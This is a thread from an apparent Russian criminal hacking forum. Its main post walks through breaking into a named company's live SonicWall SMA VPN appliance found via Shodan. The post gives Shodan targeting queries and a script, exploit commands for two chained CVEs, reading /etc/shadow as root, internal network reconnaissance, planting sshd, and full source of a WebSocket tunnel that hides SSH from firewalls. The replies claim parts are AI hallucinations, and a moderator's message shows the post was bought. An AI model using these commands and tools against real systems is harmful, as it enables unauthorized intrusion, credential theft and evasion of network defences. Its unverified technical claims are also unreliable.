LIMB
Вход Регистрация

тема

SonicWall SMA: от Shodan до root shell

error3XX · · 9 ответов · 760 просмотров

Не удалось прогрузить медиа


Вступление

Rapid7 запостил write-up. PoC лежит на GitHub. CISA добавил в KEV. SonicWall выпустил патч. Технический разбор уже пережевали все кому не лень от Хакера до Хабра. Я не буду писать ещё одну статью про "как работает WebSocket прокси и почему path traversal это плохо".

Нашёл таргет в Shodan -> пробил -> получил root -> поднял SSH туннель. Без теории, без виртуалок, без "тестового окружения". На железе, которое стоит в конторе и которое кто-то забыл обновить.

Если твой SMA1000 торчит портом 443 в интернет и ты не обновился - считай, что ты уже опоздал. Но давай по порядку.

Поиск целей в Shodan

Для начала нужно понять, что я ищу. SMA1000 - это корпоративный VPN от SonicWall. На 443 порту у него крутится веб-морда "SonicWall WorkPlace". По ней и будем искать.

Есть 3 варианта как можно сделать, у веб версии самого шодана:

Code:
http.title:"WorkPlace" port:443

В CLI:

Bash:
shodan search 'http.title:"WorkPlace" port:443' --fields ip_str,org,country_code --limit 50

Ну или просто запилить питон скрипт если есть API ключ, так как у меня есть API ключ то я выберу этот вариант

Python:
import requests
r = requests.get('https://api.shodan.io/shodan/host/search', params={
    'key': 'YOUR_SHODAN_KEY',
    'query': 'http.title:"WorkPlace" port:443',
    'limit': 50
})
for m in r.json()['matches']:
    print(f"{m['ip_str']:20s} {m.get('org','')[:30]:30s} {m.get('country_name','')}")

Не удалось прогрузить медиа


Shodan отдаёт тысячи таких хостов. Можно взять абсолютно любой. Для статьи я взял 111.93.96.156 - какая-то индийская контора. Судя по всему, кто-то решил что VPN-шлюз без обновлений - это отличная идея.

Дальше по класике curl запрос: curl -sk https://111.93.96.156/

Не удалось прогрузить медиа



200 OK, Server: SMA/12.5 - это SMA WorkPlace. То что нужно. Двигаю дальше.

Маленькая разведка

Уязвимость CVE-2026-15409 - это SSRF через WebSocket прокси. На SMA1000 есть эндпоинт /wsproxy, который работает как netcat: ты передаёшь ему порт и хост в URL параметрах, и он туннелирует TCP трафик. Без авторизации. Без токена. Без ничего.

Через этот wsproxy пробрасываемся к CouchDB на localhost:5984. CouchDB крутится с дефолтными admin:admin.

Второй CVE - CVE-2026-15410 - path traversal в remove_hotfix workflow ctrl-service на localhost:8188. Принимает путь к файлу, делает chmod +x, выполняет от root, удаляет. Путь не валидируется - можно передать ../../../../../tmp/script.sh.

Использую smaexp.py -  форк Rapid7 PoC. Он делает всю грязную работу: коннектится к wsproxy, получает CouchDB RCE через Erlang design documents, достаёт API key, и через XML-RPC execRemoveHotfix с path traversal получает root. Всё одной командой.


Для начала recon:

Bash:
python smaexp.py recon 111.93.96.156
Не удалось прогрузить медиа



Один скрипт вся картина:
  • user: uid=1010(couchdb) - я внутри как couchdb через CVE-2026-15409
  • hostname: SSLVPN-SMA8200v.sma - это SMA 8200v
  • OS: Debian 12 (bookworm), ядро 6.1.140
  • shadow: Permission denied - couchdb не может читать shadow (логично)
  • ports: видны открытые порты внутри
  • interfaces: 172.16.0.206/16 - внутренний IP, мы в корпоративной сети
  • API key: 71782d42d49a1756b99ccb56b3f37ed1 - достаётся через gentoo.getMariaDBEphemeralKey()
  • Root: uid=0(root)  УРА

Обрати внимание: shadow - Permission denied ( couchdb, не root). Но ниже - Root (CVE-2026-15410) - uid=0. Скрипт сам прогоняет обе стадии: сначала CouchDB RCE (CVE-2026-15409), потом path traversal в execRemoveHotfix (CVE-2026-15410). Итог - root.

CouchDB с admin:admin в 2026 году на проде - это не баг, это фича. Видимо, кто-то решил что дефолтные креды в внутренней базе - "внутри же, никто не достучится". Но wsproxy на 443 без авторизации меняет правила игры.

Root RCE - читаем shadow

Раз у меня root, прочитаю то, что couchdb не мог:

Bash:
python smaexp.py exec 111.93.96.156 "cat /etc/shadow"

Не удалось прогрузить медиа



Теперь shadow читается. Хеши у root и admin одинаковые - классика SonicWall. SHA-512, можно в John/hashcat.

Разведка внутренней сети

Теперь, когда root, поcмотрю что вокруг. SMA стоит на границе сети - внутри у него вся корпоративная инфра.

Bash:
python smaexp.py exec 111.93.96.156 "ip addr | grep inet; echo '---'; ip neigh show | head -10; echo '---'; grep search /etc/resolv.conf; echo '---'; ss -tlnp | head -15"

Не удалось прогрузить медиа


Что мы видим:
  • Внутренний IP: 172.16.0.206/16 - мы внутри корпоративной сети на texmo.group (Tata Teleservices)
  • ARP соседи: 8 живых хостов с MAC-адресами (рабочие станции, принтеры, серверы)
  • DNS search: texmo.group - домен конторы
  • Порты:
  - 0.0.0.0:443 - Apache (SMA WorkPlace)
  - 0.0.0.0:80, 455, 888 - Apache (доп. порты)
  - 0.0.0.0:8447 - nginx (reverse proxy)
  - 0.0.0.0:22 - sshd
  - 127.0.0.1:1050 - beam.smp (Erlang/CouchDB node)
  - 127.0.0.1:1051 - epmd (Erlang port mapper)
  - 127.0.0.1:1065-1066 - logserver
  - 127.0.0.1:1025 - replicator
  - 127.0.0.1:18080 - systemd-resolve
  - 127.0.0.1:70 - внутренний сервис управления

Через SMA видно всю внутреннюю сеть. Дальше можно сканировать внутренние хосты, читать базы, пивотиться в AD. Но это уже другая история.

SSH туннель через wsproxy

Выполнять команды через smaexp.py exec неудобно - каждый раз заново прогоняем цепочку. Хочется нормальный интерактивный shell.

Решение: поднимаем sshd прямо на таргете, с нашими SSH ключами, и подключаемся через WebSocket туннель. GFW (если таргет в Китае) или корпоративный firewall не видят SSH - он едет внутри WebSocket на 443 порту, выглядит как обычный HTTPS.

Деплой sshd через setup_sshd.py​

Тут есть нюанс. На firmware 12.5.0 execRemoveHotfix с path traversal крашит CouchDB - ctrl-service падает и тянет за собой базу. Но скрипт при этом выполняется как root до краша. CouchDB перезапускается сама через ~10 секунд.


Code:
python setup_sshd.py 111.93.96.156 --key sma_key --port 2222

Не удалось прогрузить медиа



  1. CouchDB RCE (CVE-2026-15409) - пишем bash-скрипт в /tmp/.sma_setup.sh как couchdb. Скрипт пишет наш pubkey в /tmp/.auth_keys и запускает sshd на 2222.
  2. execRemoveHotfix (CVE-2026-15410) - дёргаем через curl к ctrl-service на 8188. Path traversal ../../../../../tmp/.sma_setup.sh заставляет ctrl-service выполнить скрипт как root. CouchDB при этом падает - но скрипт уже отработал, sshd уже запущен.
  3. Ждун - CouchDB перезапускается сама через ~10 секунд.
  4. Проверка - sshd висит на 2222, ready to go.
  5. wstunnel - поднимаем WebSocket туннель на localhost:2222.
На старых firmware (12.4 и ниже) execRemoveHotfix не крашит CouchDB - там всё работает без перезапуска. На 12.5.0 краш есть, но скрипт выполняется до падения, так что результат тот же.

Для обхода immutable-файлов: на SMA ключевые файлы (/root/.ssh/authorized_keys, /etc/ssh/sshd_config) помечены chattr +i - даже root не может их изменить (chattr -i выдаёт "Operation not permitted"). Поэтому пишем pubkey в новый файл /tmp/.auth_keys и указываем его через -o AuthorizedKeysFile=/tmp/.auth_keys.

WebSocket туннель​

setup_sshd.py сам поднимает wstunnel, но можно и вручную:

Bash:
python wstunnel.py 111.93.96.156 2222 2222
Не удалось прогрузить медиа


Для firewall и IDS это выглядит как обычный HTTPS трафик на 443 порту. SSH протокол спрятан внутри WebSocket фреймов. GFW не видит SSH, корпоративный firewall не режет.

Root SSH shell​

Bash:
ssh -4 -i sma_key -p 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL root@localhost


Не удалось прогрузить медиа


Заключение​

SonicWall SMA - отличная железка. Если её обновлять. Если нет - это бесплатный root shell для всех желающих, в комплекте с доступом к внутренней сети конторы.

Code:
wstunnel.py
import sys, os
sys.stdout.reconfigure(encoding='utf-8')
for v in ['HTTP_PROXY','HTTPS_PROXY','ALL_PROXY','http_proxy','https_proxy','all_proxy']:
    os.environ.pop(v, None)
import ssl, base64, threading, socket
from websockets.sync.client import connect as ws_connect
TARGET = sys.argv[1] if len(sys.argv) > 1 else '165.75.60.165'
LOCAL_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 2222
TARGET_PORT = int(sys.argv[3]) if len(sys.argv) > 3 else 2222
def handle(client):
    try:
        ws = ws_connect(
            f'wss://{TARGET}/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port={TARGET_PORT}',
            subprotocols=['binary'],
            user_agent_header=None,
            additional_headers={'User-Agent': 'SMA Connect Agent'},
            ssl=ssl._create_unverified_context(),
            max_size=None,
            ping_interval=None,
            compression=None,
            timeout=15,
        )
        try: ws.recv(timeout=2)
        except: pass
        def c2w():
            try:
                while True:
                    d = client.recv(65536)
                    if not d: break
                    ws.send(base64.b64encode(d).decode())
            except: pass
        def w2c():
            try:
                while True:
                    d = ws.recv(timeout=None)
                    if isinstance(d, str): d = d.encode()
                    client.sendall(d)
            except: pass
        t1 = threading.Thread(target=c2w, daemon=True)
        t2 = threading.Thread(target=w2c, daemon=True)
        t1.start(); t2.start()
        t1.join(); t2.join()
        ws.close()
    except Exception as e:
        print(f'[-] {e}', flush=True)
    finally:
        client.close()
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('127.0.0.1', LOCAL_PORT))
srv.listen(5)
print(f'[+] Tunnel: 127.0.0.1:{LOCAL_PORT} -> {TARGET}:{TARGET_PORT}', flush=True)
print(f'    ssh -i sma_key -p {LOCAL_PORT} root@localhost', flush=True)
while True:
    c, _ = srv.accept()
    print('[*] client connected', flush=True)
    threading.Thread(target=handle, args=(c,), daemon=True).start()

Спасибо за внимание.
👍47 🔥16 😮4 👏7 🤔11 💯7
;) отличная статья без воды и с максимум практики
👍1
smaexp.py где можно найти?)
👍1
Ответerror3XX

http.title:"WorkPlace" port:443

по такому запросу будет не только Соник, много чего имеет в хеадрере слово WorkPlace
Ответerror3XX

Server: SMA/12.5

в каком месте страницы вы это увидели?
👍1
Эх! Как же я люблю, люблю такие статьи, а особенно бдительного проверяющего кибергангстера!)
Ответerror3XX

Rapid7 запостил write-up. PoC лежит на GitHub. CISA добавил в KEV. SonicWall выпустил патч.

Человеки редко такое пишут, точнее в таком слоге.
Ответerror3XX

Без теории, без виртуалок, без "тестового окружения"

ЧатГПТ привет! Я тоже люблю тройные утверждения, но тут уж слишком перенасыщено.
Ответerror3XX

Если твой SMA1000 торчит портом 443 в интернет и ты не обновился - считай, что ты уже опоздал.

Опять же, мне нравится работать с текстом, и в особенности с техническими материалами, в какой-то мере даже могу назвать себя техническим писателем. А ещё больше, мне нравится читать ГПТ статьи!) Спасибо, было очень познавательно, гуляйте на все 4 стороны, или же просто идите на***.

Ответerror3XX

http.title:"WorkPlace" port:443

Зачем мне еще куча результатов такие как:
Agile Workplace Staffing – Your Trusted Job Source

Commercial Office Furniture & Workplace Solutions | Jefferson Group
Workplace Transformation Services | Audio Visual | Video Conferencing
Envoy Workplace
Smart Pension | Workplace Pension Provider | Join Today

И это встречается не раз, и даже не два, а через каждый настоящий соник, класс во!  (y) "Ахуенный" дорк.

Ответerror3XX

import requests r = requests.get(' https://api.shodan.io/shodan/host/search ', params={ 'key': 'YOUR_SHODAN_KEY', 'query': 'http.title:"WorkPlace" port:443', 'limit': 50 }) for m in r.json()['matches']…

Ещё более ахуенный скрипт, самое-то наверное чтоб масстаргеты выгрузить, да? Без мультипотока, без сохранения в файл, просто вывод. Даже это написано с нейронкой.

Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен: forum.LIMB.cc
Разрешённые домены
  • imgur.com
  • ru.imgbb.com
  • prnt.sc
  • imgbb.com
  • ibb.co
  • i.imgur.com
  • i.ibb.co
  • darklimb.vip
  • i.pinimg.com
  • img3.teletype.in
  • img4.teletype.in
  • teletype.in
  • pikabu.ru
  • cs15.pikabu.ru
  • img2.teletype.in
  • lh7-rt.googleusercontent.com
  • duty-files.cc
  • blogger.googleusercontent.com
​
Ответerror3XX

Без авторизации. Без токена. Без ничего.

Опять тройная игра, хелло чатгпт, недавно вроде приветствовали друг друга, а ты снова тут!)
Ответerror3XX

Использую smaexp.py - форк Rapid7 PoC

Где ты его взял? Где мне его найти? Надо приложить по хорошему. Сделаю за тебя - https://github.com/remmons-r7/rapid7-CVE-2026-15409 ; https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/ . Так, нашли от Р7, а форк то где? Ну ладно, гитхаб платформа открытая, даёт посмотреть.

Не удалось прогрузить медиа

​
Как жаль, как жаль... Видать не повидать нам сия форка!) Или что там нейронка нагаллюционировала, ладно, чатгпт лучше знает. Я даже не стану продолжать дальше говорить что-то по технической стороне сия чтива, лишь поподмечаю некоторые яркие ИИ-маркеры. Скрипта нет, форк не форк, найти не удалось.
Ответerror3XX

API key: 71782d42d49a1756b99ccb56b3f37ed1 - достаётся через gentoo.getMariaDBEphemeralKey()

Чё я нахуй прочитал? Я впервые слышу про такое, гугл дорки мне никакой информации от слова совсем не выдают, но думаю такая инфа точно бы хоть где-то пролегла в паблике.

Не удалось прогрузить медиа


Не удалось прогрузить медиа

​
Ответerror3XX

python smaexp.py exec 111.93.96.156 "ip addr | grep inet; echo '---'; ip neigh show | head -10; echo '---'; grep search /etc/resolv.conf; echo '---'; ss -tlnp | head -15"

Я хочу еще больше нейрослопа, мне его мало.
Ответerror3XX

Деплой sshd через setup_sshd.py

Где мне его найти?
Ответerror3XX

python wstunnel.py 111.93.96.156 2222 2222

А это мне где найти?

Рецензия обывателя не сильно опытного в сетках, такова: говно. Читать это неприятно, технически чтоб повторить, нужно самому выдумать скрипт, нейронка галлюцинации свои оставила, автор (если его конечно можно таким называть) даже не умудрился убрать их. Ах, да, совсем забыл сказать.

Не удалось прогрузить медиа
​
Ответcybergangster

Ваша статья принята на оплату. Будем ждать еще актуальный материал от вас по уязвимостям сетей. Извиняюсь за долгую проверку

ОтветModerator

Публикации, в которых будут предоставлены исходный код и/или уже собранный инструмент в формате исполняемого файла без описания принципа работы, реализации(авторского объяснения), не могут относиться к категории…

ОтветModerator

Оригинальность контента (ИИ-контент не принимается)

Что нужно было написать кибергангстеру и какие вопросы задать.:

"сколько потенциально уязвимых сайтов с возможностью войти в админку?"
"Присылайте готовый POC то что на меге там не выводится пароль от админа и с шеллом не получается взаимодействовать. Вы нам продаете материал, все должно четко работать."
"Что ломанули то?) Не отрабатывают команды"
"В этом и смысл статьи надо принести готовый продукт на форум, чтобы не пришлось дорабатывать вывод пароля на экран или сканировать 30kk сайтов wordpress где рабочими окажутся 5%" - тут скрипт с нуля нужно писать дружище
"Значит и писать качественно нужно, тогда статьи будут проходить на оплату без проблем." - без проблем, это таким образом?) Простите, буду отныне нейрослопить статьями, не прикладывая эксплоитов, и не исправлять галлюцинации нейронки.
​
👍5 ❤️1 🔥1
Ответadrenaline

smaexp.py где можно найти?)

Rapid7 
CVE-2026-15409 POC
+
Writeup
Не удалось прогрузить медиа

Rapid7

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability...
www.rapid7.com
👍2
Ответbezmyatezhnost

Эх! Как же я люблю, люблю такие статьи, а особенно бдительного проверяющего кибергангстера!) Человеки редко такое пишут, точнее в таком слоге. ЧатГПТ привет! Я тоже люблю тройные утверждения, но тут уж слишком…

Вы кажется и гуглить разучились от какой то непонятной ненависти...

Все ищется в Гугле, не прямо по названию функции.
👍3
@bezmyatezhnost спасибо рецензию. Я действительно торопился, плохо проверил статью. В следующий раз такое уже не прокатит)
👍3
Ответerror3XX

Вы кажется и гуглить разучились от какой то непонятной ненависти... Все ищется в Гугле, не прямо по названию функции.

ты написал форк от рапид7, я нашёл репозиторий от р7 с этой цве, после этого я пошел смотреть форки, форка такого чтоб запустился с твоими командами, да даже чтоб были какие-либо изменения не было, отправь ссылку нам на этот форк, тогда признаю свою ошибку про галлюцинации нейронки в плане форка =)

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.